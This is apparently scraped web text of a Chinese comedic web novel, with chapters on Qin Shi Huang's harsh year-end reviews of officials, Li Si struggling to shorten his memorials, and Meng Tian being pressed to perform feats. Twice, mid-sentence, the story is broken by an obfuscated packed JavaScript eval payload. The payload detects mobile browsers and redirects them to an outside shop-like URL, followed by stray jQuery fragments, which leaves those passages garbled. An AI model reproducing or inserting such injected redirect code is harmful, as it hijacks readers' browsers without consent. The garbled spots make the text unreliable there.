嬴政继续往下看,突然,他的动作停住了。 竹简的最后,附着一行小字,和一份单独的帛书。 “臣斗胆,听闻陛下近日龙体欠安,特献上家传养生秘方一份,乃祖上偶得仙人指点所传,望陛下笑纳,以求圣体安康,万寿无疆。” 嬴政盯着那行字,看了许久,久到李斯都以为陛下是不是睡着了。 “李斯。”嬴政突然开口。 “臣在。” “你看看这个。”嬴政将那卷竹简递给李斯。 李斯接过,快速看完,心中暗骂这会稽郡守愚蠢。陛下最讨厌别人提他生病和求长生的事,这马屁简直是拍到了马蹄子上。 “陛下,此人阿谀奉承,意图不轨,当严惩!”李斯义正言辞道。 “严惩?”嬴政笑了笑,笑容却未达眼底,“他不是喜欢养生吗?不是有仙人指点吗?” 李斯心里咯噔一下,升起一股不祥的预感。 “传旨,”嬴政站起身,活动了一下僵硬的脖颈,语气轻描淡写,“会稽郡守,政绩虚浮,言语无状。革去郡守之职,调任……太医署,给方士们当副手。让他亲自给朕炼丹,就用他那个‘家传秘方’。炼不出来……” 嬴政顿了顿,看着李斯,一字一顿道:“朕就把他扔进丹炉里,给朕当药引子。” 李斯:“……”他感觉自己的腿有点软。 “至于其他人,”嬴政环视一周,看着满殿噤若寒蝉的臣子,缓缓道,“今年的考核,到此为止。朕希望明年,能看到一些……真实的东西。而不是这些,连猫狗都不如的废话。” “臣等遵旨!”众臣齐声应诺,声音都在发抖。 走出章台殿,寒风扑面而来,李斯却觉得后背全是冷汗。 年终考核的N种死法…… 今年,算是见识全了。死于猫,死于牛,死于石子,死于养生…… 陛下,您这哪是考核,您这是……在筛选谁的心理素质更强啊! 李斯抬头望了望漆黑的夜空,心中默默决定,明年,一定要让手下的官员们,把报告写得……再细一点,再实一点。 毕竟,谁也不想成为下一个……被陛下亲自“送走”的人。 16. 年终考核之最惨官员排行榜 岁末的咸阳宫,寒风凛冽,但章台殿内的气氛,比殿外的寒风还要刺骨。 大殿中央,数十名官员跪伏在地,个个面如死灰,抖如筛糠。御座之上,嬴政面无表情,手中拿着一卷长长的帛书,那是御史大夫冯劫汇总的“年度官员考核红黑榜”。 “诸位爱卿,”嬴政缓缓开口,声音不大,却清晰地传入每个人耳中,“又是一年过去了。这一年,我大秦灭楚平齐,一统天下,功盖三皇,德超五帝。” 众臣齐声高呼:“陛下圣明!大秦万年!” “嗯,万年。”嬴政点点头,话锋一转,“不过,在朕看来,这‘万年’基业,光靠朕一个人圣明是不够的,还得靠诸位……好好干活。” 他拿起那卷帛书,轻轻抖开:“冯劫,念。” “臣遵旨。”御史大夫冯劫上前一步,清了清嗓子,声音洪亮,“大秦始皇帝二十六年,年终考核结果如下——” “第一名:最‘实诚’倒霉蛋——云阳县令,赵无恤” 跪在最前面的一个胖子浑身一颤,差点瘫软在地。 “赵无恤,”嬴政看向他,“朕听说,你今年在云阳县,干得不错?” 赵无恤赶紧磕头:“回……回陛下,臣……臣只是尽忠职守……” “尽忠职守?”嬴政挑眉,“冯劫,念念他的‘功绩’。” “诺。”冯劫展开竹简,“云阳县令赵无恤,本年政绩:开垦荒地五十亩,修路三里,征收赋税……三百文。” 众臣:“……” “三百文?”嬴政笑了,“赵无恤,你告诉朕,这三百文,是怎么收上来的?” 赵无恤哭丧着脸:“回陛下,云阳县……地僻人稀,今年又遭了旱灾,百姓实在……实在拿不出钱。这三百文,还是臣……臣从自家俸禄里掏出来凑的,想着……想着总不能交白卷……” 嬴政看着他,沉默片刻,问道:“那你为何不报灾?” “臣……臣怕给陛下添堵……”赵无恤小声道。 “添堵?”嬴政猛地一拍桌子,“你穷得都要自掏腰包交税了,还怕给朕添堵?你是觉得朕是那种……不顾百姓死活的昏君吗?!” “臣不敢!臣罪该万死!”赵无恤吓得魂飞魄散。 “你是该死!”嬴政冷冷道,“身为父母官,不知体恤民情,反而为了所谓的‘政绩’欺上瞒下!若非朕派暗卫去查,朕还以为云阳县富得流油呢!” 他站起身,走到赵无恤面前:“赵无恤,你虽然蠢,但还算有点良心。革去县令之职,贬为……云阳县丞,戴罪立功。明年若是再让朕看到你自掏腰包交税,你就去骊山,给朕当一辈子石匠!” 赵无恤如蒙大赦,连连磕头:“谢陛下!谢陛下不杀之恩!” “第二名:最‘敬业’闯祸精——咸阳西市令,孙大福” 一个瘦高个官员抬起头,一脸茫然:“陛下,臣……臣今年可是兢兢业业,西市的税收翻了三倍啊!” “嗯,是翻了三倍。”嬴政点点头,“冯劫,说说他是怎么翻的。” “诺。”冯劫面无表情地念道,“咸阳西市令孙大福,为增加税收,创新管理方法:一、对摊位按‘寸’收费,每寸每日一文;二、设立‘如厕税’,凡在西市如厕者,每次五文;三、征收‘呼吸税’,凡在西市逗留超过半个时辰者,每人每日十文……” 众臣:“……” 嬴政看着孙大福:“孙大福,你这脑子,不去经商可惜了啊。” 孙大福还以为陛下在夸他,得意道:“谢陛下夸奖!臣也是……” “朕是在夸你吗?”嬴政打断他,声音冰冷,“你是想让咸阳百姓,连喘气都要给朕交钱?你是想告诉天下人,朕穷疯了,连百姓的屎尿屁都不放过?” 孙大福脸一白:“臣……臣只是想……” “想什么?想逼百姓造反?”嬴政厉声道,“来人!扒了他的官服,重打五十大板,扔出宫去!永不录用!” “陛下饶命!陛下饶命啊!”孙大福被侍卫拖了下去,惨叫声渐行渐远。 “第三名:最‘倒霉’背锅侠——上郡粮草官,钱不多” 一个黑瘦的官员抬起头,满脸委屈:“陛下,臣……臣冤枉啊!” “冤枉?”嬴政看着他,“蒙恬将军的军报上说,上郡今年的军粮,有一半是发霉的,喂马马都不吃。你是粮草官,你不冤枉,谁冤枉?” “陛下,那粮……那粮不是臣弄霉的!”钱不多急道,“是……是运粮的路上,遇到大雨,淋湿了,臣也没办法啊!” “没办法?”嬴政冷笑,“粮草被淋湿,为何不及时晾晒?为何还要混在好粮里发给将士?你是觉得,边关将士的命,不如你那点‘损耗率’重要?” 钱不多语塞,支支吾吾道:“臣……臣是怕……怕报损耗太多,陛下怪罪……” “怕朕怪罪?”嬴政站起身,走到他面前,居高临下地看着他,“现在就不怕了?” 他转身对蒙毅道:“蒙毅,此人交给你。带去北疆,让他亲自尝尝那些发霉的粮食。什么时候吃完,什么时候回来。” 蒙毅抱拳:“诺!” 钱不多两眼一翻,晕了过去。 处理完前三名,嬴政重新坐回御座,目光扫过剩下的官员。 “前三名,各有各的‘特色’。”嬴政拿起另一卷竹简,“接下来,朕要颁发几个……特殊的‘荣誉’奖项。” 众臣心里一紧,还有? “最佳‘睁眼瞎’奖——东海郡守,周瞎子” 一个戴着厚厚眼镜(水晶磨制)的老者抬起头:“陛下,臣……臣眼神是不太好,但臣……” “眼神不好?”嬴政挑眉,“朕看你眼神好得很!冯劫,念。” “诺。东海郡守周瞎子,本年上报:抓获海盗零人,剿灭海盗船零艘。然,据水师密报,东海郡今年海盗猖獗,劫掠商船百余艘,而周郡守……在府中闭门读书,对外宣称‘眼不见为净’。” “周瞎子,”嬴政看着他,“你是真瞎,还是装瞎?” 周瞎子噗通一声跪下:“陛下,臣……臣是怕打草惊蛇……” “怕打草惊蛇?”嬴政气笑了,“你是怕海盗砍了你的脑袋吧!来人,把他那副眼镜摘了,既然眼神不好,那就别看了。革职,流放南海,去给朕看灯塔!什么时候海盗灭了,什么时候回来!” “最佳‘马屁精’奖——琅琊县令,马辟京” 一个油头粉面的官员赶紧磕头:“陛下,臣对陛下忠心耿耿,日月可鉴!” “嗯,忠心。”嬴政点点头,“听说你今年在琅琊县,修了一座‘始皇万岁碑’,高十丈,宽三丈,用了三千民夫,花了三万两银子?” 马辟京得意道:“是!臣要让琅琊百姓,世世代代铭记陛下恩德!” “好一个恩德。”嬴政冷冷道,“那碑上,刻的是朕的名字,还是你的名字?” 马辟京脸色一变:“当然是陛下的名字!臣……臣只是……在碑文末尾,稍微……稍微提了一下臣的贡献……” “稍微?”嬴政看向冯劫。 冯劫念道:“碑文曰:‘大秦始皇帝威加海内,琅琊县令马辟京辅佐圣君,呕心沥血,特立此碑,以彰其功’。” 众臣:“……” “马辟京,”嬴政站起身,走到他面前,“你是想告诉天下人,这琅琊县,是你和朕一起打下来的?” “臣不敢!臣……”马辟京冷汗直流。 “不敢?”嬴政冷哼一声,“来人,把那碑给朕砸了!把上面的金子抠下来,充入国库。至于马辟京……既然你这么喜欢立碑,那就去骊山,给朕的皇陵刻碑去。记住,只准刻朕的名字,敢多刻一个字,朕把你刻上去!” “最佳‘创意造假’奖——蜀郡贡品官,甄有才” 一个看起来文质彬彬的官员抬起头,一脸无辜:“陛下,臣……臣今年进贡的蜀锦,可是精品中的精品啊!” “精品?”嬴政从案上拿起一匹锦缎,扔到他面前,“你告诉朕,这上面绣的,是‘龙凤呈祥’,还是……‘鸡飞狗跳’?” 甄有才定睛一看,那锦缎上,原本该绣龙的地方,绣成了一只长虫;该绣凤的地方,绣成了一只秃毛鸡。 “这……这是蜀地新派的‘抽象派’绣法……”甄有才硬着头皮解释。 “抽象派?”嬴政拿起另一匹,“那这匹呢?朕让你进贡‘五彩祥云锦’,你给朕进贡‘七彩斑马纹’?” “这……这是西域风格……” “还有这匹!”嬴政又拿起一匹,上面竟然绣着几个歪歪扭扭的字:“始皇万岁,但臣没钱”。 甄有才:“……” “甄有才,”嬴政看着他,“你是没钱,还是把钱都贪了?” “臣冤枉!臣……”甄有才还想狡辩。 “不用说了。”嬴政摆摆手,“朕已经派人查过了,你贪墨贡品银两五千两,以次充好,欺君罔上。来人,拖出去,斩立决!” “陛下饶命!陛下饶命啊!”甄有才被拖了下去。 处理完这些“奇葩”,嬴政的目光落在了最后一名官员身上。 那是一名看起来平平无奇的中年人,穿着普通的官服,低着头,一言不发。 “最后一名,”嬴政缓缓开口,“也是朕最想……亲自砍了的人。” 众臣心里一凛,能让陛下说出“亲自砍了”这四个字,这人得犯了多大的罪? “会稽郡守,项梁。” 那中年人缓缓抬起头,脸上没有丝毫惧色,反而带着一丝若有若无的笑意:“陛下,臣何罪之有?” “何罪之有?”嬴政笑了,他从袖中掏出一枚小小的虎符,扔在项梁面前,“认识这个吗?” 项梁脸色微变。 “这是从你会稽郡守府的地窖里搜出来的。”嬴政淡淡道,“私藏军械,蓄养死士,勾结六国余孽……项梁,你是觉得,朕的眼睛,瞎了吗?” 项梁沉默片刻,突然大笑起来:“哈哈哈!嬴政!你果然厉害!不错,是我做的!我项梁生是楚国人,死是楚国鬼!你要杀便杀,何必废话!” “杀你?”嬴政摇摇头,“太便宜你了。” 他站起身,走到项梁面前,俯视着他:“项梁,你很有骨气,比你那个不成器的侄子项羽强多了。” 项梁瞳孔一缩:“你……你知道羽儿?” “朕不仅知道,朕还知道,他现在就在会稽,正跟着你那个老朋友范增,学兵法呢。”嬴政语气平淡,却让项梁如坠冰窟。 “你……你想怎么样?”项梁声音颤抖。 “不想怎么样。”嬴政转身走回御座,“朕要让你活着,亲眼看着,你所谓的‘复国大业’, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387657|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是如何在朕的手中,化为灰烬。” 他对蒙毅道:“蒙毅,把项梁关进天牢,严加看管。不许他死,也不许他见任何人。” “诺!” 项梁被带了下去,临走前,他死死盯着嬴政,眼中满是仇恨和不甘。 大殿内,只剩下嬴政和一群瑟瑟发抖的官员。 嬴政看着他们,缓缓道:“诸位,今日朕处置这些人,不是为了立威,也不是为了泄愤。” 他站起身,走到大殿中央:“朕是要告诉你们,大秦的官,不好当。想混日子的,像赵无恤,滚去种地;想捞油水的,像孙大福,扒皮充军;想造反的,像项梁,生不如死。” “朕要的,是能做事、敢做事、会做事的官!” “今年考核,到此为止。”嬴政挥挥手,“都退下吧。回去好好想想,明年,你们想当哪一种。” “臣等告退!”众臣如蒙大赦,连滚带爬地退出了大殿,生怕慢一步就被陛下留下“谈心”。 大殿恢复了安静,只剩下嬴政和一直沉默不语的李斯、蒙毅。 “陛下,”李斯小心翼翼地上前,“今日是否……太过严厉了些?恐寒了百官之心。” “寒心?”嬴政冷笑一声,“李斯,你告诉朕,若是朕今日不杀鸡儆猴,明年,会有多少个赵无恤、孙大福、项梁冒出来?” 李斯语塞。 “大秦初定,六国遗民心怀鬼胎,各地官员良莠不齐。”嬴政走到窗前,看着远处巍峨的咸阳城,“若不立威,何以立国?若不严惩,何以服众?” “陛下圣明。”蒙毅沉声道,“只是……如此一来,恐官员人人自危,不敢任事。” “朕不要他们‘敢任事’,朕要他们‘能成事’。”嬴政转过身,目光锐利,“蒙毅,你记住,为将者,慈不掌兵;为君者,仁不治国。今日之严,是为了明日之安。” “臣受教。”蒙毅躬身道。 “李斯。”嬴政看向李斯。 “臣在。” “明日,拟一道旨意。”嬴政缓缓道,“设立‘监察御史’,分赴各郡县,明察暗访。凡有政绩卓著、清廉自守者,重赏;凡有欺上瞒下、贪赃枉法者,严惩不贷。” “诺。”李斯领命。 “另外,”嬴政顿了顿,“那个云阳县令赵无恤,虽然蠢了点,但还算有良心。传旨,免去云阳县三年赋税,拨发粮种,助其恢复生产。” “陛下?”李斯一愣,“您刚才不是……” “朕骂他,是因为他蠢,不懂变通。”嬴政淡淡道,“但朕赏他,是因为他心中有民。大秦需要的,不光是能干的官,还得是……有良心的官。” “臣明白了。”李斯心悦诚服。 嬴政重新坐回御座,拿起那卷厚厚的考核名册,提笔在赵无恤的名字旁,轻轻写了一个“留”字。 “至于那个项梁……”嬴政眼中闪过一丝寒光,“给朕盯紧了。朕倒要看看,他那个好侄子项羽,能掀起什么风浪。” “诺!” 殿外,寒风依旧呼啸,但咸阳宫的灯火,却亮如白昼,照亮了这大秦帝国的未来,也照出了这官场沉浮的真相。 数日后,云阳县。 赵无恤正穿着粗布衣裳,在田里和百姓一起抢修水渠,干得满头大汗。 “县令大人!县令大人!”一个小吏气喘吁吁地跑来,“圣旨!圣旨到了!” 赵无恤心里咯噔一下,手里的锄头差点掉了。完了,陛下反悔了,要抓我去骊山了! 他哭丧着脸,连滚带爬地跑回县衙,噗通一声跪在地上:“臣赵无恤接旨!陛下饶命啊!” 传旨太监看着他这副模样,哭笑不得:“赵县丞,你这是做什么?陛下是来赏你的!” “赏……赏我?”赵无恤愣住了。 “奉天承运,皇帝诏曰:云阳县令赵无恤,虽愚钝少谋,然心系百姓,忠厚可嘉。特赐黄金百两,锦缎十匹,并……免云阳县三年赋税,拨发粮种万石,以资民生。钦此!” 赵无恤彻底傻了,直到旁边的师爷捅了他一下,才反应过来,连连磕头:“谢陛下!谢陛下隆恩!” 送走太监,赵无恤看着满箱的金银和粮种,突然嚎啕大哭。 “大人,您这是……”师爷吓了一跳。 “我……我冤枉陛下啊!”赵无恤抹着眼泪,“我以为陛下是暴君,没想到……陛下他心里装着咱们老百姓啊!” 他猛地站起身,对着咸阳方向重重磕了三个头,然后抓起一把粮种,对百姓们喊道:“乡亲们!陛下没忘了咱们!明年,咱们一定要把地种好,把路修好,绝不给陛下丢脸!” “好!”百姓们欢呼雀跃。 与此同时,咸阳宫。 嬴政看着暗卫送来的密报,上面画着赵无恤在田里干活的样子,嘴角微微上扬。 “蠢是蠢了点,但……可用。” 他拿起朱笔,在赵无恤的名字上,又圈了一个圈。 “李斯。” “臣在。” “明年考核,重点看看这个赵无恤。若是真有长进,调他来咸阳,朕……给他换个官当当。” “诺。” 窗外,雪停了,阳光透过云层洒落,照在咸阳宫的琉璃瓦上,泛着金色的光芒。 大秦的官场,就在这严冬与暖阳的交织中,悄然改变。 17. 今日李斯也在努力写短点 章台殿内,烛火摇曳,映照着堆积如山的竹简。 嬴政坐在御案后,眉头紧锁,手中的朱笔悬在半空,迟迟没有落下。他的面前,摊开着一卷竹简,密密麻麻的小篆,从案头一直铺到了地上,甚至还打了个卷,绕到了御座的脚边。 “李斯。”嬴政的声音低沉,带着一丝压抑的火气。 “臣在。”李斯连忙从一旁的矮几后起身,小步快走至御前,躬身行礼。 嬴政用朱笔点了点那卷长得离谱的竹简:“这是你今日呈上来的……关于统一度量衡的补充细则?” “回陛下,正是。”李斯脸上露出一丝不易察觉的得色,“臣以为,度量衡之事,关乎国本,不可不细。故臣查阅典籍,走访工匠,历时三月,将其中细微之处,尽数……” “行了。”嬴政打断他,揉了揉发胀的眉心,“朕问你,这卷奏章,有多少字?” 李斯一愣,随即答道:“回陛下,共计一万三千五百七十二字。” “一万三千……”嬴政深吸一口气,指着那卷竹简,“从卯时看到现在,朕才看到……‘关于斗斛之标准’这一条。李斯,你告诉朕,这后面还有多少?” 李斯小心翼翼地抬头看了一眼,小声道:“回陛下,后面……还有关于尺、寸、分、厘、毫、丝、忽、微、纤、沙、尘、埃、渺、漠、模糊、逡巡、须臾、瞬息、弹指、刹那、六德、虚空、清静、阿赖耶、阿摩罗、涅槃寂静……等共计二十八级单位的详细换算标准,以及……” “停!”嬴政猛地一拍桌子,震得竹简哗啦作响。 李斯吓得一哆嗦,赶紧闭嘴。 “李斯,”嬴政站起身,走到那卷竹简前,用脚尖踢了踢卷尾,“你是觉得朕很闲?还是觉得这咸阳宫的竹子多得用不完?” “臣不敢!”李斯噗通一声跪下,“臣只是……只是觉得此事重大,不敢有丝毫疏漏。” “不敢疏漏?”嬴政冷笑一声,弯腰捡起竹简的末端,念道,“‘……若以秦尺为基准,则楚尺当去其锋芒,齐尺当削其圆滑,燕尺当折其刚直……’” 他抬起头,看着李斯,眼神冰冷:“李斯,你这是在写度量衡细则,还是在写诸子百家的论文?还‘去其锋芒’、‘削其圆滑’?你是打算用尺子去跟六国余孽辩论吗?” 李斯冷汗涔涔:“陛下息怒,臣……臣只是觉得,度量衡亦承载文化,故……” “故你就给朕写了这一万三千字?”嬴政将那卷竹简重重摔在地上,“朕要的是结果!是标准!是能立刻下发到各郡县,让工匠照着做的规矩!不是你的长篇大论!” “臣知罪!”李斯以头触地,不敢抬头。 “知罪?”嬴政冷哼一声,“既然你这么喜欢写,那好。这卷奏章,朕不看了。你拿回去,重写。” “诺……”李斯松了口气,正要伸手去拿。 “等等。”嬴政拦住他,“重写可以,但有要求。” “陛下请讲。” “字数,”嬴政竖起一根手指,语气不容置疑,“不得超过一千字。” 李斯猛地抬头,一脸震惊:“一……一千字?陛下,这……这如何使得?度量衡之事,千头万绪,一千字如何说得清楚?” “那是你的事。”嬴政坐回御座,重新拿起朱笔,“朕只看结果。明日此时,若还是废话连篇……你就去骊山,给朕刻碑去,那里的石头,够你写个够。” “诺……诺!”李斯哭丧着脸,抱起那卷沉重的竹简,踉踉跄跄地退了出去。 回到丞相府,李斯看着摊在桌案上的那卷万字奏章,只觉得眼前发黑。 一千字。 要把这一万三千字的精华浓缩到一千字,这简直比让他去跟六国辩士辩论还难。 “来人!磨墨!”李斯挽起袖子,准备大干一场。 他提起笔,蘸饱了墨,凝神静气,开始下笔。 “臣李斯谨奏:度量衡一事,关乎国本……” 刚写了十个字,他停住了。 “不行,太啰嗦。”他摇摇头,将竹简放到一边,换了一卷新的。 “度量衡,国之重器……” “还是太长。” “统一度量衡,势在必行……” “废话。” 一连写了十几卷草稿,李斯都不满意。不是觉得开头不够气势,就是觉得用词不够精准,要么就是觉得……字数超了。 “一千字……一千字……”李斯抓着自己的头发,痛苦地呻吟,“这如何能说得清‘毫’与‘丝’的区别?如何能阐述‘度’与‘量’的哲学关联?如何能……” “父亲,”长子李由端着一碗参汤走进来,看到满地的竹简,吓了一跳,“您这是……” “由儿,你来得正好。”李斯像是抓住了救命稻草,“快,帮为父看看,这一句‘尺者,度也,度者,法也,法者,道也’……能不能删?” 李由看了一眼:“父亲,这一句……好像没什么实际意义。” “怎么没意义?”李斯瞪眼,“这是理论根基!没有理论,如何服众?” “可是陛下说了,只要结果。”李由小声提醒。 李斯噎住了。是啊,陛下只要结果。 他颓然坐下,看着那堆废稿,长叹一声:“由儿,你说,为父是不是……太啰嗦了?” 李由看着父亲那副备受打击的样子,不忍心说实话,只好委婉道:“父亲学识渊博,思虑周全,只是……陛下日理万机,或许……更喜欢直截了当。” “直截了当……”李斯咀嚼着这四个字,仿佛第一次听说。 在他的认知里,写文章,尤其是给陛下写文章,那必须得引经据典,层层递进,逻辑严密,辞藻华丽。字数少了,怎么能显示出自己的水平?怎么能体现出对陛下的重视? 可现在,陛下竟然嫌他长。 李斯感觉自己的世界观受到了冲击。 “罢了,”李斯站起身,走到窗边,望着咸阳宫的方向,眼神复杂,“既然陛下要短,那为父……就试着……短一点。” 接下来的几个时辰,丞相府内充满了李斯的哀嚎和竹简断裂的声音。 “不行!这一句不能删!这是荀子师祖的话!” “咔嚓!”竹简被折断。 “这句也不行!这是我对法家思想的升华!” “咔嚓!” “这句……这句只是稍微修饰了一下……” “咔嚓!” 李斯看着地上堆积如山的废竹简,心如刀绞。每一句被删掉的话,都像是从他身上割下来的一块肉。 “父亲,已经删了八千字了。”李由在一旁提醒。 “才八千?”李斯看着剩下的五千字,眉头紧锁,“还不够,还得删。” 他拿起朱笔,像是一个冷酷的刽子手,对着自己的心血痛下杀手。 “凡非必要之修饰,删!” “凡重复之论述,删!” “凡可要可不要之典故,删!” 删到最后,李斯的手都在抖。他看着竹简上仅剩的一千来字,只觉得干瘪、苍白、毫无文采,简直……简直就像是一份工匠的操作手册! “这……这如何能看?”李斯欲哭无泪,“这要是传出去,我李斯一世文名……” “父亲,”李由拿起修改后的竹简,读了一遍,眼睛一亮,“虽然短了,但条理清晰,一目了然。‘秦尺一尺,合今二十三厘米;秦斗一斗,合今二十升’……这样写,工匠们一看就懂啊!” “工匠懂有什么用?”李斯痛心疾首,“陛下是皇帝,不是工匠!皇帝要看的是格局!是气度!是……” “父亲,”李由打断他,压低声音,“您忘了陛下的脾气了?若是明日再不过关……” 李斯打了个寒颤。骊山刻碑……那可不是闹着玩的。 “罢了,罢了。”李斯颓然摆手,“就这样吧。去,给为父重新誊抄一遍,字要写大点,撑撑场面。” “诺。” 次日,章台殿。 李斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387658|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捧着那卷薄薄的竹简,心里七上八下。这卷竹简,轻得让他心慌。 “陛下,臣……臣已将奏章修改完毕。”李斯跪在地上,双手呈上。 嬴政正在批阅蒙恬送来的军报,头也不抬:“放那儿吧。” 李斯将竹简放在御案一角,那卷竹简在一堆厚厚的奏章中,显得格外……弱小、可怜、又无助。 李斯退到一旁,紧张地等待着。 蒙恬的军报似乎有些棘手,嬴政看了许久,眉头越皱越紧。终于,他放下军报,揉了揉眉心,目光扫过御案,落在了那卷“迷你”竹简上。 “嗯?”嬴政愣了一下,伸手拿起李斯的奏章,掂了掂,“这么轻?” 他展开竹简,快速浏览。 李斯屏住呼吸,心脏砰砰直跳。 嬴政的目光在竹简上移动,速度极快。不过片刻,他便看完了。 他放下竹简,抬起头,看着李斯,眼神有些古怪。 “李斯。” “臣在!”李斯赶紧应道。 “这……是你写的?” “是……是臣写的。”李斯声音发颤,“臣已尽力压缩,但……但实在无法再短,若陛下仍觉冗长,臣……” “不,”嬴政打断他,嘴角竟然微微上扬,“写得不错。” 李斯以为自己听错了:“陛……陛下说什么?” “朕说,写得不错。”嬴政拿起朱笔,在竹简上批了个“可”字,“条理清晰,标准明确,没有废话。这才是朕想要的奏章。” 李斯愣住了。他准备了满腹的辩解之词,甚至做好了去骊山的准备,没想到……竟然被夸了? “李斯,”嬴政放下笔,身体微微前倾,看着李斯,“你知道朕每日要看多少奏章吗?” “臣……不知。” “少则百卷,多则数百卷。”嬴政指了指堆积如山的御案,“若是每卷都像你昨日那般,动辄万字,朕就是不吃不睡,也看不完。” “臣……臣愚钝。”李斯羞愧地低下头。 “你不是愚钝,你是太聪明了。”嬴政笑了笑,“总想把事情做得尽善尽美,想把道理讲得透彻明白。但有时候,做皇帝,不需要那么多道理,只需要……结果。” 他拿起李斯那卷简短的奏章,又指了指旁边蒙恬的军报:“你看蒙恬的军报,通篇不过五百字,敌我态势、伤亡情况、请求支援,清清楚楚。朕一眼就能看懂,就能决策。” 李斯看着那卷薄薄的军报,若有所思。 “记住,”嬴政正色道,“为臣之道,不在于文章写得有多长,而在于能把复杂的事情,说得简单明了。这才是真正的本事。” 李斯浑身一震,如醍醐灌顶。他深深拜服:“臣……明白了!谢陛下教诲!” 从那以后,大秦官场掀起了一场“文风改革”。 丞相李斯,这位曾经的“万字奏章之王”,痛改前非,成为了“短小精悍”的代言人。 他的奏章,再也没有了华丽的辞藻和冗长的论述,取而代之的是简洁的条款和明确的指令。 “陛下,关于修驰道,臣议:一、路线如图;二、征发民夫十万;三、工期三月。完。” “陛下,关于统一文字,臣议:以小篆为准,颁行天下。附图样。完。” “陛下,关于……” 嬴政看着李斯越来越短的奏章,满意地点点头。 “李斯。” “臣在。” “今日这奏章,写得不错。”嬴政夸赞道,“不过……” 李斯心里一紧:“不过什么?” “不过……”嬴政指了指奏章末尾,“你这‘完’字,可以省了。朕看到最后,自然知道完了。” 李斯:“……诺。” 走出章台殿,李斯看着手中的竹简,苦笑一声。 看来,这“写短点”的功夫,还得再练练。 毕竟,在陛下面前,能用一个字说清的,绝不用两个字。 这,就是大秦的效率。 18. 今日蒙恬也在努力不表演骑射 北风卷地,旌旗猎猎。上郡大营的校场上,烟尘滚滚,杀声震天。 蒙恬身披重甲,手持长戟,胯下战马如龙,在军阵中左冲右突,所向披靡。每一次挥戟,必有一名“敌军”应声落马;每一次呼喝,必引得身后将士山呼海啸。 “好!彩!” 高台之上,嬴政一身戎装,抚掌大笑,眼中满是激赏之色:“蒙恬,不愧是我大秦第一勇士!有此良将,何愁匈奴不灭?” 蒙恬勒住战马,翻身下鞍,单膝跪地,甲叶铿锵:“陛下谬赞!臣愿为陛下效死,踏平漠北,永绝后患!” “好!有气魄!”嬴政心情极佳,大手一挥,“赏!全军赐酒肉,今夜不醉不归!” “谢陛下!” 校场上一片欢腾,唯有蒙恬,在起身时,不易察觉地揉了揉有些发酸的右臂,心里暗暗叫苦。 这已经是陛下这个月第三次来北疆“视察”了。 自从上次在咸阳宫,蒙恬为了展示新式弩箭的威力,当着陛下的面,百步之外一箭射穿了三个靶心之后,陛下看他的眼神,就变得……不太一样了。 那是一种混杂着欣赏、期待,以及某种“朕还想看更多”的狂热光芒。 从那以后,每次陛下来北疆,蒙恬的日程表就固定成了三件事: 一、汇报军情。 二、陪陛下吃饭。 三、表演才艺。 而且陛下的口味越来越刁钻。 第一次,蒙恬表演了“百步穿杨”,陛下龙颜大悦,赏赐千金。 第二次,蒙恬表演了“马背开三石强弓”,陛下抚掌叫绝,赏赐良田百顷。 第三次,也就是刚才,蒙恬被迫表演了“单骑冲阵”,一人独战百名精锐,差点没把老腰给闪了。 “蒙将军,”内侍尖细的声音在耳边响起,打断了蒙恬的思绪,“陛下口谕,让您换身轻便衣裳,去大帐觐见。” 蒙恬心里咯噔一下,一种不祥的预感油然而生:“公公,可知陛下召见,所为何事?” 内侍笑眯眯地凑近,压低声音:“将军莫慌,陛下今日兴致颇高,就是想……再看看将军的身手。” 蒙恬:“……”我就知道。 中军大帐内,炭火正旺,暖意融融。 嬴政已换回了常服,正坐在主位,手里把玩着一把造型奇特的弯刀。那是匈奴王庭的贡品,刀身如新月,寒光凛冽。 “臣蒙恬,参见陛下。”蒙恬卸了甲,只着一身劲装,入帐行礼。 “免礼。”嬴政放下弯刀,目光灼灼地盯着蒙恬,上下打量了一番,满意地点点头,“嗯,精气神不错,看来刚才那场‘冲阵’,还没尽兴。” 蒙恬嘴角抽搐了一下:“陛下,臣……” “蒙恬,”嬴政打断他,身体微微前倾,眼中闪烁着好奇的光芒,“朕刚才看你冲阵,马术精湛,戟法如神。不过,朕有个问题。” “陛下请讲。” “若是……”嬴政指了指帐外,“若是让你不用马,不用戟,只凭拳脚,能否放倒刚才那百名精锐?” 蒙恬:“……”陛下,您当我是神仙吗? “回陛下,”蒙恬硬着头皮道,“臣虽自幼习武,但双拳难敌四手。百名精锐……臣怕是力有未逮。” “哦?”嬴政似乎有些失望,但随即又来了兴致,“那若是给你一把短刃呢?比如……这把。” 他将那柄匈奴弯刀推到蒙恬面前。 蒙恬看着那把刀,又看了看陛下那充满期待的眼神,深吸一口气:“陛下,若是狭路相逢,臣或可凭借短刃之利,斩杀数人,但百人……臣必死无疑。” “嗯,有理。”嬴政点点头,手指敲击着桌面,似乎在思考什么。 蒙恬刚松了口气,以为陛下终于要放过他了。 “既然如此,”嬴政突然抬头,眼中精光一闪,“那朕换个问法。若是让你蒙上眼睛,只用耳朵听风辨位,你能躲开多少支射来的箭?” 蒙恬:“!!!” 陛下,您这是要我的命啊! “陛下!”蒙恬噗通一声跪下,声音带着一丝悲愤,“臣……臣是人,不是神!蒙上眼睛躲箭,那是说书先生编的故事!” 